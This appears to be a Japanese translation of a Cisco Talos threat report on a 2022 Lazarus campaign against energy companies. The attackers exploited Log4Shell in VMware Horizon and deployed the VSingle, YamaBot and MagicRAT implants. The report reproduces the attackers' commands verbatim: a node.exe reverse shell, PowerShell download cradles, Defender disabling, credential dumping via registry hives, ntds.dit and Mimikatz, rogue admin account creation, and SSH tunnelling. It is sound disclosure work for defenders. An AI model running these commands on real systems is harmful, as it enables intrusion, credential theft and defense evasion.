![](https://storage.googleapis.com/gblogs-bucket/sites/2/1477372593-bpfull.jpg)
- Cisco Talos は、Lazarus APT
グループによる新しい攻撃を追跡しています。同グループについて、米国政府は北朝鮮が関与していると見ています。
- 今回の攻撃では、VMware Horizon の脆弱性をエクスプロイトし、標的の組織への最初の足掛かりを得ていました。
- 米国、カナダ、日本をはじめとする世界中のエネルギー企業が標的となっています。
- 攻撃の目的は、世界中の組織に侵入して長期的なアクセスを確立したうえで、北朝鮮が関心を抱いているデータを盗み出すことです。
- Talos は、侵入には 2 つの既知のマルウェアファミリ(VSingle と YamaBot)が使用されていたことを確認しました。
- 最近公開された「MagicRAT」というインプラントがこの攻撃で使用されていたことも確認しています。
はじめに
Cisco Talos は、2022 年 2 月から 7 月にかけて、北朝鮮が支援する Lazarus という APT グループが悪意のある活動を展開していたことを確認しました。米国サイバーセキュリティ インフラストラクチャ セキュリティ庁(CISA)は以前、Lazarus には北朝鮮が関与していると発表しています。侵入経路として利用されたのは、VMware 製品の脆弱性です。これをエクスプロイトして企業ネットワークへの最初の足掛かりを確立し、続いて同グループのカスタム マルウェア インプラントである VSingle と YamaBot を展開しています。これらの既知のマルウェアファミリに加えて、「MagicRAT」という未知のマルウェアインプラントの使用も確認されました。
別のセキュリティ企業
がこの攻撃について部分的に報告していましたが、Talos の調査によって同グループの手口の詳細が明らかになりました。また、Talos の調査結果と、米国サイバーセキュリティ インフラストラクチャ セキュリティ庁(CISA)の 6 月のアドバイザリ
で報告されているコマンドアンドコントロール(C2)とペイロード ホスティング インフラストラクチャには類似点がありました。アドバイザリでは、攻撃者が継続的に試みている脆弱な VMware Horizon サーバーの侵害について詳しく説明されています。
今回の調査報告では、エクスプロイト後に Lazarus グループが実行する戦術、手法、手順(TTP)について説明します。TTP の目的は、足掛かりを確立し、初期偵察を行い、カスタムマルウェアを展開し、侵入した企業内でラテラルムーブメント(横展開)を行うことです。また、感染したエンドポイントに VSingle バックドアが仕掛けられた際に攻撃者が実行するアクティビティについても詳しく説明します。
今回の攻撃で Lazarus の主な標的となったのは、カナダ、米国、日本のエネルギー企業でした。攻撃の主な目的は、被害を受けたネットワークへの長期的なアクセスを確立して、北朝鮮政権を支えるためのスパイ活動を行うことです。Lazarus はこれまで、重要インフラとエネルギー企業に侵入して長期的なアクセスを確立し、知的財産を吸い上げてきました。今回の攻撃は、こうした過去の Lazarus の侵入行為と軌を一にしています。
攻撃者の素性
Cisco Talos は、これらの攻撃は北朝鮮が支援する攻撃グループ Lazarus によって実行された可能性が高いと考えています。調査する中で、攻撃者が使用している 3 つの別個の RAT を特定しました。そのうち、Lazarus が独占的に開発し配布している VSingle と YamaBot については、日本の CERT(JPCERT/CC)がレポート(VSingle、YamaBot)を最近公開しています。レポートには、両方のマルウェアについての詳しい説明と、Lazarus が攻撃に関与しているとの記載があります。
使用されていた TTP も、攻撃者が Lazarus であることを示唆しています。初期ベクトルは、外部公開されている VMware Horizon サーバーの Log4j 脆弱性のエクスプロイトでした。エクスプロイトが成功すると、Web サーバーからツールキットがダウンロードされます。今回と同じ初期ベクトルと URL パターン、その後のハンズオンキーボード攻撃の類似性が、今年初めに AhnLab 社が発表したレポートで取り上げられていました。同社が取り上げた攻撃と現在発生している攻撃の間には、IOC にも類似性があります。悪意のあるツールのホスティング プラットフォームとして、IP アドレス 84[.]38.133[.]145 が使用されていたことなどです。両方の攻撃で同じ戦術が採用されていましたが、最終的に展開されたマルウェアインプラントは別のものでした。つまり Lazarus は、さまざまなインプラントを自由に幅広く利用できるということです。さらに、Kaspersky
が情報公開した Lazarus 傘下の Andariel グループの TTP との類似性も確認されています。ただし、展開されたマルウェアは別のものであるという決定的な違いがあります。Kaspersky が使用を確認したマルウェアは Dtrack と Maui でしたが、Talos が確認したのは VSingle、YamaBot、MagicRAT です。
個別に分析した場合、攻撃者を特定する証拠としての信頼性は中程度にすぎませんが、攻撃者と標的の状況を踏まえたうえでこれらすべてのポイントを分析すれば、信頼性は高まります。
攻撃
Cisco Talos は、複数の標的を狙った攻撃をいくつか確認しています。このセクションでは、2 つの攻撃事例について詳しく説明します。今回の攻撃で Lazarus が取った作戦の中でも最も代表的な事例です。
- 被害例 1:エクスプロイトから目的を遂行するまでのキルチェーンがよく表れています。VSingle インプラントがどのように使用されているかもよく分かります。
- 被害例 2:キルチェーンは被害例 1 と似ていますが、VSingle に加えて「MagicRAT」という新しいインプラントが展開されています。
注目に値する第 3 の侵入事例では、YamaBot として知られる 3 つめのカスタムインプラントの使用が確認されています。YamaBot については、最近 JPCERT コーディネーションセンター(JPCERT/CC)が情報を公開しており、Lazarus APT が関与しているとされています。
被害例 1:VSingle の展開とその後のアクティビティ
最初の被害例では、一般に知られている脆弱性をエクスプロイトした後、感染したエンドポイントに VSingle バックドアを展開して長期的なアクセスを確立したことを確認しています。
また、VSingle インプラントを実際にインストゥルメント化し、感染したシステムでさらに悪意のあるアクティビティを実行したことも確認しました。以下のフローは、攻撃作戦の概要を表したものです。詳しくは、以降のセクションで説明します。
エクスプロイトと足掛かり
Cisco Talos は、外部公開されている VMware Horizon サーバーの Log4Shell 脆弱性のエクスプロイトが最初の攻撃ベクトルであったことを確認しました [T1190]。侵入後は、システム上に足掛かりを確立 [TA0001
] するための一連のアクティビティを実行した後、追加のマルウェアを展開してネットワーク内でラテラルムーブメントを行います。調査する中で、足掛かりを築く 2 つの別個のペイロードを発見しました。最初の事例では、VMware に同梱されている node.exe をエクスプロイトし、以下の 1 行の node.exe スクリプトを実行しています。
C:"Program Files"\VMware"VMware View"\Server\appblastgateway\node.exe -r net -e "sh = require('child_process').exec('cmd.exe');var client = new net.Socket();client.connect(<Port>, '<C2_IP>', function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});"
スクリプトの基本的な機能は、感染したエントリエンドポイントにて、攻撃者が任意のコマンドを発行するために使用できるインタラクティブなリバースシェルを開くというものです。
また別の事例では、攻撃者が VMware の脆弱性をエクスプロイトし、VMware の ws_ConnectionServer.exe を介して感染したエンドポイントでカスタム PowerShell スクリプトを起動することも確認されています。
powershell -exec bypass IEX (New-Object Net.WebClient).DownloadString('http://<remote_location>/<filename>.ps1')
VMware Horizon は管理者権限で実行されるため、攻撃者は権限の昇格を気にする必要がありません。
インタラクティブシェルの確立後、攻撃者はエンドポイントで事前偵察を行い、ネットワーク情報とディレクトリのリストを取得します [T1083]、[T1590]
、[T1518]
。
ipconfig /all |
dir c:”Program Files (x86) |
dir c:”Program Files |
次のステップは、Windows Defender コンポーネントの無効化です [T1562]。これは、レジストリキーの変更、WMIC コマンド、PowerShell コマンドによって実行します。以下は、Cisco Talos が確認したメソッドをすべて網羅したリストです。
powershell -exec bypass -Command Get-MpPreference |
powershell.exe -ExecutionPolicy Bypass -command Set-MpPreference -DisableRealtimeMonitoring $true |
reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection /s /f DisableRealtimeMonitoring |
リバースシェルを使用してシステム上のウイルス対策機能がバイパスされると、攻撃者は実際のマルウェアインプラントを展開します。それが、Lazarus が開発し展開していることが知られている「VSingle」というマルウェアファミリのインプラントです。
展開時、攻撃者が制御するリモートロケーションから正規の WinRAR ユーティリティと、追加のペイロード(アーカイブ)もダウンロードします [T1608]。
powershell -exec bypass -command (New-Object System.Net.WebClient).DownloadFile(‘<remote_location>\\rar.tmp’, ‘<local_path>\\rar.exe’) |
powershell -exec bypass -command (New-Object System.Net.WebClient).DownloadFile(‘<remote_location>\\update.tmp <local_path>\\java.tmp’) |
<local_path>\\rar.exe e <local_path>\\java.tmp <local_path_2> -hp!no! |
感染したエンドポイントにダウンロードされたアーカイブを圧縮解除したものが VSingle マルウェア実行ファイルです。オプションでファイル名が変更され、自動開始サービスを作成することによってエンドポイントでの永続化が確立されます。
VSingle の使用方法
調査の結果、攻撃者が偵察、情報流出、手動でのバックドア設置などのさまざまなアクティビティを実行するために VSingle バックドアに送信したコマンドが発見されました。
攻撃者は、まず以下のコマンドを実行して追加の偵察タスクを実行します [T1083]、[T1590]。
コマンド | 目的 |
systeminfo & ipconfig /all & netstat -naop tcp & tasklist & net user & net view & arp -a | システム情報の検出 [T1082]![]() |
query user | システム情報の検出 [T1082]![]() |
whoami | システム情報の検出 [T1082]![]() |
dir /a %appdata%\microsoft | システム情報の検出 [T1082]![]() |
dir /a C:\Windows\system32\config\systemprofile\AppData\Roaming\microsoft cmd.exe /u /c dir /a c:\users\administrator |
システム情報の検出 [T1082]![]() |
cmd /C pwd cmd /C dir cmd /C cd c:\\Users\\<username>\Download & dir cmd /C cd c:\\Users\\<username>\Downloads & dir cmd /C cd c:\\Users\\<username> & dir cmd /C cd c: & dir cmd /C tree c:\\Users |
システム情報の検出 [T1082]![]() |
cmd.exe /u /c time /t cmd.exe /u /c query session |
システム情報の検出 [T1082]![]() |
これらのコマンドにより、攻撃者は、インストールされているソフトウェア、ネットワーク構成、システムユーザーなど、侵入先のシステムについてしっかりと把握できます。この種の情報は、ラテラルムーブメントの準備に不可欠です。
また、攻撃者はシステムにログイン情報をキャッシュさせ、後で収集できるようにします [T1003/005]。
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
被害を受けたホストには他にも構成変更が加えられます。その目的は、攻撃者が使用する管理者レベルのユーザーを作成することです [T1136]。
コマンド | 目的 |
cmd.exe /u /c net user <userid> <password> /add | ユーザーの作成 |
cmd.exe /u /c reg add HKLM\software\microsoft\windows nt\currentversion\winlogon\specialaccounts\userlist /v <username> /t REG_DWORD /d 0 /f | 権限の追加 |
cmd.exe /u /c net localgroup Administrators /add <username> cmd.exe /u /c net localgroup Remote Desktop Users /add <username> |
権限の追加 |
cmd.exe /u /c net localgroup Administrateur /add <username> cmd.exe /u /c net localgroup Administrateurs /add <username> |
権限の追加 |
cmd.exe /u /c reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v AllowMultipleTSSessions /t REG_DWORD /d 1 /f | システム構成:複数のセッションを許可 |
cmd.exe /u /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f | システム構成:UAC を無効化 |
cmd.exe /u /c reg add HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa /v LmCompatibilityLevel /t REG_DWORD /d 0 /f | システム構成:LAN Man の互換性 |
これらは、RAT が検出/削除された場合か、攻撃者に RDP アクセスは提供されたものの悪意のあるツールの使用には至らなかった場合に使用される可能性があります。
VSingle を導入すると、攻撃者は次の 2 つの追加ツールを使用して他のシステムにアクセスできるようになります。
- tmp は pvhost.exe にファイル名が変更されています。実態は plink.exe で、システム間に SSH トンネルを作成できる PuTTY のユーティリティです。
- tmp は osc.exe にファイル名が変更されています。実態は 3proxy
である可能性が高いと思いますが、残念ながらファイルのコピーは取得できませんでした。
これら 2 つのツールが連携して被害を受けたシステム上にプロキシを作成し、システムのリスニングポートをリモートホストのポートに「エクスポート」します。このメカニズムにより、被害を受けたネットワークにアクセスするためのローカルプロキシポートが攻撃者に提供されます。攻撃者の機器があたかも被害者のネットワークに直接つながっているかのような状態になるということです。
まず、攻撃者は osc.exe(3proxy)を起動して、ループバックポート(この事例では 8118 を選択)をリッスンします。使用するコマンドは次のとおりです。
C:\Windows\system32\config\systemprofile\AppData\Roaming\microsoft\osc.exe -i127.0.0.1 -p8118
ただ、これだけではダメです。ポート 8118 を、攻撃者が接続できる独自のネットワーク上に公開する必要があります。そこで、Plink を使用して SSH トンネルを作成しています。なお、ローカルポートは、リモートアドレス(この事例では攻撃者が制御するリモートサーバー)に転送していました。
C:\Windows\system32\config\systemprofile\AppData\Roaming\microsoft\pvhost.exe -N -R 18118:127.0.0.1:8118 -P [Port] -l [username] -pw [password] <Remote_IP>
オプションの -R で、127.0.0.1 のポート 8118 を、ポート 18118 のリモートサーバーに転送しています。
VSingle RAT の分析
VSingle ローダーの実行ファイルは、複数のレイヤで構成される MFC ベースのバックドアです。1 つめは次のレイヤ(レイヤ 2)を復号して実行します。レイヤ 2 はインプラントプロセスのメモリ内のシェルコードで、次のレイヤ(レイヤ 3、同じくシェルコード)のインジェクタにすぎません。インプラントは、新しい「explorer.exe」プロセスを生成し、シェルコード(レイヤ 3)をその中に挿入して実行します。
レイヤ 3 のシェルコードは、explorer.exe など新しく生成された無害なプロセスに挿入されます。これは、別のレイヤ(レイヤ 4)のシェルコードを無害なプロセス内で復号して実行するものです。
レイヤ 4 が実際の VSingle インプラント DLL で、無害なプロセスのメモリに反射的にロードされます。
インプラントは機能の面では単純です。基本的にはステージャであり、感染システムに攻撃者がより多くのマルウェアを展開できるようにするためのものです。他にも、C2 サーバーに接続するリバースシェルを開く機能があります。また、攻撃者は、エンドポイントに無制限にアクセスして「cmd.exe」を使ってコマンドを実行できるようになります。
VSingle 自体はかなり単純な RAT ですが、追加のプラグインを C2 サーバーからダウンロードして実行できます。プラグインは、特定の形式のシェルコードまたはスクリプトファイルの形式で C2 で提供されています。以下の画像は、ダウンロードしたシェルコードを実行するために使用されるコードです。
インプラントによるメモリ内のシェルコードの実行
より単純には、インプラントが実行ファイルまたはスクリプトを受け取って %temp% ディレクトリのファイルに保存し、エンドポイントで実行することも可能です。インプラントは、.vbs、.bat、.tmp ファイルに対応しています。どれも、「cmd /c」で実行できるものです。.tmp ファイルは、実行ファイル(.exe)としてロードすることもできます。
インプラントは、C2 サーバーによって提供および指定されたマルウェアアーティファクトの永続性を確立できます。スタートアップフォルダにファイルを作成すれば、メカニズムはより単純になります。作成できる場所は、次の 2 つがあります。
c:\Documents and Settings\%s\Start Menu\Programs\Startup\%s |
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ |
このほか、VSingle では 3 つのことを実行できます。いずれも、「cmd.exe /c」コマンドを使用します。
コマンド | 目的 |
sc create “%s” DisplayName= “%s” type= own type= interact start= auto error= ignore binpath= “cmd.exe /k start \”\” \”%s\” | 自動開始サービスの作成 [T1543/003]![]() |
reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ /v “%s” /t REG_SZ /d “%s” /f | レジストリキーの実行 [T1547/001]![]() |
schTasks /Create /F /TN “%s” /TR “%s” /SC onlogon | ログイン時にスケジュールされたタスクをトリガー [T1053/005]![]() |
schtasks /create /tn <task_name> /tr C:\\Windows\\upsvc.exe /sc onstart /ru System /rl highest /f | システム起動時にスケジュールされたタスクを優先的にトリガー [T1053/005]![]() |
被害例 2:MagicRAT の発見
被害を受けた別のネットワークでも、同様の一連のイベントが確認されています。最初に偵察を行った後、ウイルス対策ソフトウェアを無効化し、カスタムインプラントを展開していました。また、企業内の他のエンドポイントへのラテラルムーブメントに成功したことも確認されました。
なお、この侵入事例が独特なのは、攻撃者が感染したシステムに VSingle を展開する 3 日前に、かなり新しいインプラントが展開されていた点です。
「MagicRAT」というインプラントであり、最近公開したブログ記事で概要を説明しています。インタラクティブなリバースシェルが、最終的にリモートロケーションから MagicRAT をダウンロードします。
MagicRAT の分析
この攻撃では、MagicRAT は別個の構成ファイルとパスで構成されていました。また、さまざまな C2 サーバーに報告もしていました。構成ディレクトリは「MagicMon」で、現在のユーザーの「AppData\Roaming」ディレクトリ内にあります。以下のスクリーンショットに示すように、このフォルダは「MagicSystem.ini」という名前の初期化ファイルを作成してホストします。この INI ファイルには、インプラントがコマンドとデータを送受信するために使用できる C2 の URL のリストなど、いくつかの構成が記載されています。
base64 でエンコードされた C2 の URL リストを含む INI ファイル
ラテラルムーブメント
最初のアクセスに成功してから数日、攻撃者はエンドポイントについてある程度偵察を行いました。また、感染したエンドポイントに MagicRAT と VSingle という異なる 2 つのマルウェアファミリを展開して、システムに密かにアクセスしていました。その後、最初の被害例と同じように、Active Directory(AD)関連の探索を開始(impacket と VSingle を利用)し、横展開できる可能性のあるエンドポイントを特定しました。以下の表に、そうしたアクションのために実行されるコマンドをまとめています。
コマンド | 目的 |
powershell.exe Get-NetUser 1> \\127.0.0.1\ADMIN$\<impacket_log_file> 2>&1 | ユーザーの検出 [T1033]![]() |
powershell.exe Get-ADDomain 1> \\127.0.0.1\ADMIN$\<impacket_log_file> 2>&1 | アカウント/ドメインの検出 [T1087]![]() |
powershell.exe Get-ADUser <server> -Properties * 1> \\127.0.0.1\ADMIN$\<impacket_log_file> 2>&1 | ユーザーの検出 [T1033]![]() |
powershell.exe Get-ADUser -Filter * 1> \\127.0.0.1\ADMIN$\<impacket_log_file> 2>&1 | ユーザーの検出 [T1033]![]() |
powershell.exe Get-ADGroup -filter * 1> \\127.0.0.1\ADMIN$\<impacket_log_file> 2>&1 | アカウント/ドメインの検出 [T1087]![]() |
powershell.exe Get-AdComputer -filter * 1> \\127.0.0.1\ADMIN$\<impacket_log_file> 2>&1 | システム情報の検出 [T1082]![]() |
powershell.exe Get-ADComputer -filter {OperatingSystem -Like ‘*Windows 10*’} -property * | select name, operatingsystem | システム情報の検出 [T1082]![]() |
nslookup <remote_computername> | アカウント/ドメインの検出 [T1087]![]() |
powershell.exe Get-WMIObject -Class win32_operatingsystem -Computername <remote_computername> | システム情報の検出 [T1082]![]() |
powershell.exe Get-ADUser -Filter * | Select SamAccountName | ユーザーの検出 [T1033]![]() |
powershell.exe Get-AdUser -Filter * -Properties * | Select Name, logonCount | ユーザーの検出 [T1033]![]() |
powershell.exe Get-AdComputer -Filter * -Properties * | select Name, LastLogonDate, lastLogon, IPv4Address | アカウント/ドメインの検出 [T1087]![]() |
コンピュータとユーザーのリストを取得すると、攻撃者はリスト内の特定のエンドポイントに手動で ping を実行し、到達可能かどうかを確認します(tracert を使用する場合もあります)。新しいホストへの VSingle の展開は、WMIC を使用してリモートプロセスを開始することによって行われました。このプロセスは実際には、VSingle をリモートシステムからダウンロードする PowerShell スニペットでした [T1608/001]。
WMIC /node:<Computer_Name> process call create "powershell.exe (New-Object System.Net.Webclient).DownloadFile('<remote_location>/svhostw.exe','<local_path>\\svhostww.exe')"
一部の感染では、impacket ツールを他のエンドポイントに展開し、横展開してインタラクティブシェルを確立したことが確認されました。
この攻撃ステージを、人間が手作業で実行していたのは明らかです。インタラクティブなリモート コンソール セッションを確立しようとして、コマンドの入力ミスを犯しています。
試行の通し番号 | コマンド | 結果 |
1 | Enter-PSSession <ComputerName> | 試行失敗 |
2 | Enter-PSSession | 試行失敗 |
3 | powershell.exe Enter-PSSession | 正しいコマンド |
通常、攻撃者は関心のある複数のディレクトリのファイルリストを取得し、感染したシステムをじっくりと探索します。特に関心を引くファイルが見つかると、.rar アーカイブに入れて流出させます。このとき、通常はシステム上で実行されているカスタム開発されたインプラントの 1 つが使用されます。
被害例 3:VSingle から YamaBot に移行
ある侵入事例では、当初、攻撃者はエンドポイントに VSingle を展開しましたが、VSingle サンプルが検出されてしまい、企業へのアクセスを失う瀬戸際にありました。エンドポイントに VSingle を展開する試みが何度も失敗に終わると、攻撃者は VSingle の更新版を展開しました。そうしてしばらくアクセスを維持した後、別のインプラントである YamaBot の使用に移行しました。
YamaBot は、カスタムメイドの GoLang ベースのマルウェアファミリです。HTTP を使用して C2 サーバーと通信します。通常はまず、感染したエンドポイントに関する予備的なシステム情報(コンピュータ名、ユーザー名、MAC アドレス)を C2 に送信します。
YamaBot のヘルパー関数名
このインプラントは、次のような標準の RAT 機能を備えています。
- ファイルとディレクトリのリストを作成
- プロセス情報を C2 に送信
- リモートロケーションからファイルをダウンロード
- エンドポイント上で任意のコマンドを実行
- 自分自身のアンインストール
YamaBot については、JPCERT が優れた分析を発表しています。同組織は、YamaBot を展開しているのは Lazarus APT グループであるとしています。
ログイン情報の収集
カスタムインプラントによる通常の偵察と展開とは別に、Lazarus がまったく異なる TTP を使用してログイン情報を収集していることも確認されました。攻撃者はボリュームのバックアップを作成し、これを使用して Active Directory データを含む「ntds.dit」ファイルのコピーを作成し、データを流出させていました。
コマンド | 目的 |
vssadmin list shadows /for=C: ^> <local_path>\<log_file> > <local_path>\execute.bat & C:\Windows\system32\cmd.exe /Q /c <local_path>\execute.bat & del <local_path>\execute.bat | システム情報の検出 [T1082]![]() |
vssadmin create shadow /For=C: ^> <local_path>\<log_file> > <local_path>\execute.bat & C:\Windows\system32\cmd.exe /Q /c <local_path>\execute.bat & del <local_path>\execute.bat | OS ログイン情報のダンプ:NTDS [T1003/003]![]() |
cmd.exe /C copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit <local_path>\phPzFvOU.tmp ^> <local_path>\<log_file> > <local_path>\execute.bat & C:\Windows\system32\cmd.exe /Q /c <local_path>\execute.bat & del <local_path>\execute.bat | OS ログイン情報のダンプ:NTDS [T1003/003]![]() |
作戦のバリエーション
今回の攻撃で確認された複数の侵入事例で、感染チェーンの全体的な構造に違いはありませんでした。攻撃セクションの冒頭で説明したサイバーキルチェーンで主に構成されています。
ただし、各侵入事例では、複数のアクティビティがオプションで実行されており、その構成には主要なバリエーションがいくつかあります。バリエーションの違いは、次のような機能の利用の違いによるものです。
- Mimikatz や ProcDump などのツールを使用したログイン情報の収集
- SOCK プロキシを設定するためのプロキシツール
- PuTTY の plink などのリバーストンネリングツール
したがって、今回の攻撃で発見されたあらゆる侵入で攻撃者が使用していたすべての TTP をリストアップする必要があります。このセクションには、攻撃者が使用した TTP とコマンドについて、追加のリストを掲載しています。それぞれに対応する MITRE ATT&CK ID も記載しています。APT グループの攻撃作戦に対する理解を深めるためにお役立てください。
注:リバースシェル、VSingle RAT、impacket ツールを介して実行される操作(一般的なコマンドまたは同様のコマンド)の間には、ある程度の重複が見られます。可能性としては、複数の人間が、自分の都合(稼働日、時間帯)に応じて独自のコマンドセットを手動で実行していることが考えられます(収集して流出させた情報が相互に適切に引き継がれることはありません)。
たとえばある事例では、攻撃者が PowerShell コマンドレットを介して 1 つのエンドポイントで Active Directory 情報を取得しようとしていました。しかしその翌日に、同じエンドポイントで今度は adfind.exe を使用し、同様の情報を取得していました。
ウイルス対策コンポーネントの無効化
攻撃者は、エンドポイントにインストールされているウイルス対策ソフトウェアに関する情報を照会したうえで、Windows Defender を無効化していました。使用されたコマンドには、次のように複数のバリエーションがありました。
コマンド | 目的 |
cmd /C wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayname | セキュリティソフトウェアの検出 [T1518/001]![]() |
wmic /namespace:\\root\SecurityCenter2 path AntiVirusProduct get /format:list | セキュリティソフトウェアの検出 [T1518/001]![]() |
cmd.exe /Q /c wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName, productState, pathToSignedProductExe 1> \\127.0.0.1\ADMIN$\<log_file_name> 2>&1 | セキュリティソフトウェアの検出 [T1518/001]![]() |
cmd.exe /c powershell -exec bypass -Command Get-MpPreference | セキュリティソフトウェアの検出 [T1518/001]![]() |
powershell.exe -ExecutionPolicy Bypass -command Set-MpPreference -DisableRealtimeMonitoring $true | 防御の妨害 [T1562/001]![]() |
reg query HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection /s /f DisableRealtimeMonitoring | 防御の妨害 [T1562/001]![]() |
powershell -exec bypass -Command Set-MpPreference -SubmitSamplesConsent NeverSendpowershell -exec bypass -Command Set-MpPreference -MAPSReporting Disable | 防御の妨害 [T1562/001]![]() |
cmd.exe /c reg add HKLM\SOFTWARE\Policies\Microsoft\Windows Defender /v DisableAntiSpyWare /t REG_DWORD /d 1 | 防御の妨害 [T1562/001]![]() |
偵察行為
偵察とログイン情報収集の段階で、攻撃者は、システム、ネットワーク(ドメインを含む)、インストールされているソフトウェアに関する情報を収集します。また WMIC コマンドを使用して、感染したシステムの論理ドライブに関する情報も収集します。
次に、ログイン情報を収集して流出させます。偵察の段階で特に確認するのが RDP ポートが開いているかどうかです。ポートが開いていて、なおかつ収集したログイン情報のいずれかを復号できれば、他のバックドアを設置しなくてもシステムに直接アクセスできます。以下の表は、すべてのコマンドのリストです。
コマンド | 目的 |
cmd.exe /c ipconfig /all | ネットワークの検出 [T1590]![]() |
cmd.exe /c dir c:”Program Files (x86) | インストールされているソフトウェア [T1518]![]() |
cmd.exe /c dir c:”Program Files | インストールされているソフトウェア [T1518]![]() |
cmd.exe /c systeminfo | システム情報の検出 [T1082]![]() |
cmd /C qwinsta | ユーザーの検出 [T1033]![]() |
cmd /C nslookup | ネットワークの検出 [T1590]![]() |
cmd /C netstat -noa | findstr 3389 | ネットワークの検出 [T1590]![]() |
cmd /C net view /domain | ドメインの検出 [T1087/002]![]() |
cmd /C wmic logicaldisk get deviceid, size | システム情報の検出 [T1082]![]() |
cmd.exe /c reg query HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp | システム情報の検出 [T1082]![]() |
cmd.exe /Q /c wevtutil qe Microsoft-Windows-TerminalServices-LocalSessionManager/Operational /c:20 /q:*[System [(EventID=25)]] /rd:true /f:text 1> \\127.0.0.1\ADMIN$\<impacket_log_file> 2>&1 | イベントログの照会:RDP セッションの再接続情報の取得 |
netsh advfirewall firewall add rule name=allow RemoteDesktop dir=in protocol=TCP localport=3389 action=allow | ファイアウォールの変更 [T1562/004]![]() |
reg.exe add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 3389 /f | RDP の設定 [T1021/001]![]() |
ログイン情報の収集
一部の侵入では、攻撃者はレジストリハイブのコピーを保存したうえでデータを流出させ、ログイン情報とポリシー情報を取得していました。
コマンド | 目的 |
cmd.exe /c reg save hklm\sam <local_path>\zsam.tmp | ログイン情報の収集 [T1003]![]() |
cmd.exe /c reg save hklm\security <local_path>\zsec.tmp | ログイン情報の収集 [T1003]![]() |
cmd.exe /c reg save hklm\system <local_path>\zsys.tmp | ログイン情報の収集 [T1003]![]() |
<local_path>\rar.exe a <local_path>\zzzzz.tmp <local_path>\zs*.tmp | 収集データのアーカイブ [T1560]![]() |
cmd.exe /c copy /y <local_path>\zzzzz.tmp c:”Program Files\”VMware View\server\broker\webapps\portal\webclient\z.tmp | 収集データのアーカイブ [T1560]![]() |
Active Directory(AD)の偵察
また、攻撃者がよく使っていたのが「adfind.bat」という悪意のあるバッチ(.bat)ファイルです。このバッチを使い、複数の感染したエンドポイントで adfind.exe を実行し、エンドポイントから AD 情報を取得していました。
コマンド | 目的 |
cmd.exe /c <local_path>\adfind.bat | リモートシステムの検出 [T1018]![]() |
adfind.exe -f (objectcategory=person) | リモートシステムの検出 [T1018]![]() |
adfind.exe -f objectcategory=computer | リモートシステムの検出 [T1018]![]() |
adfind.exe -f (objectcategory=organizationalUnit) | リモートシステムの検出 [T1018]![]() |
adfind.exe -f (objectcategory=group) | リモートシステムの検出 [T1018]![]() |
adfind.exe -gcb -sc trustdmp | ドメイン信頼の検出 [T1482]![]() |
dsquery を使用して同様の情報を取得していたことも確認されています。
コマンド | 目的 |
cmd.exe /Q /c echo dsquery computer ^> \\127.0.0.1\C$\<impacket_log_file> 2^>^&1 | ドメインアカウントの検出 [T1087/002]![]() |
cmd.exe /Q /c echo dsquery group -name GroupName ^> \\127.0.0.1\C$\<impacket_log_file> 2^>^&1 | ドメインアカウントの検出 [T1087/002]![]() |
cmd.exe /Q /c echo dsquery computer -name ComputerName ^> \\127.0.0.1\C$\<impacket_log_file> 2^>^&1 | ドメインアカウントの検出 [T1087/002]![]() |
cmd.exe /Q /c echo dsquery user -name UserName ^> \\127.0.0.1\C$\<impacket_log_file>t 2^>^&1 | ドメインアカウントの検出 [T1087/002]![]() |
不正なアカウントの作成
攻撃者は、ほとんどの事例でリバースシェルを使用し、最初にアクセスしたエンドポイントに独自のユーザーアカウントを作成していました。VSingle インプラントを介して不正アカウントが作成され、企業全体に伝播された事例も確認されています。
コマンド | 目的 |
net1 group /domain | ドメインの検出 [T1087/002]![]() |
net1 user <username> <password> /domain | アカウントの作成 [T1136/002]![]() |
net1 user <username> /active:yes /domain | アカウントの作成 [T1136/002]![]() |
net1 group <groupname> /add /domain | アカウントの作成 [T1136/002]![]() |
net1 group <groupname> <username> /add /domain | アカウントの作成 [T1136/002]![]() |
使用されていたその他のツール
一部の事例では、他の攻撃者がよく使用するツールを展開していました。
Mimikatz
攻撃者は、サーバーから Mimikatz ツールをダウンロードしていました。パスワードで保護された .rar アーカイブ内に格納されており、ネットワーク侵入防御システムのあらゆる種類の検出を防ぐことができます。
コマンド | 目的 |
powershell -exec bypass -command (New-Object System.Net.WebClient).DownloadFile(‘http://<remote_location>/mi.tmp’, ‘<local_path>\m.tmp’) | ペイロードのダウンロード [T1608/001]![]() |
powershell -exec bypass -command (New-Object System.Net.WebClient).DownloadFile(‘http://<remote_location>/mi64.tmp’, ‘<local_path>\mi.tmp’) | ペイロードのダウンロード [T1608/001]![]() |
powershell -exec bypass -command (New-Object System.Net.WebClient).DownloadFile(‘http://<remote_location>/mm.rar’, ‘<local_path>\mm.tmp’) | ペイロードのダウンロード [T1608/001]![]() |
<local_path>\rar.exe e <local_path>\m.tmp <local_path>\ -p<password> | ファイルの抽出 [T1140]![]() |
<local_path>\mi.exe privilege::debug sekurlsa::logonPasswords exit | OS ログイン情報のダンプ [T1003/001]![]() |
ProcDump
Mimikatz のほか、LSASS メモリをディスク上のファイルにダンプするために ProcDump も使用していました。
コマンド | 目的 |
powershell -exec bypass -command (New-Object System.Net.WebClient).DownloadFile(‘http://<remote_location>/pd64.tmp’, ‘<local_path>\pd.tmp’) | ペイロードのダウンロード [T1608/001]![]() |
ren <local_path>\pd.tmp pd64.exe | ファイル名の変更 |
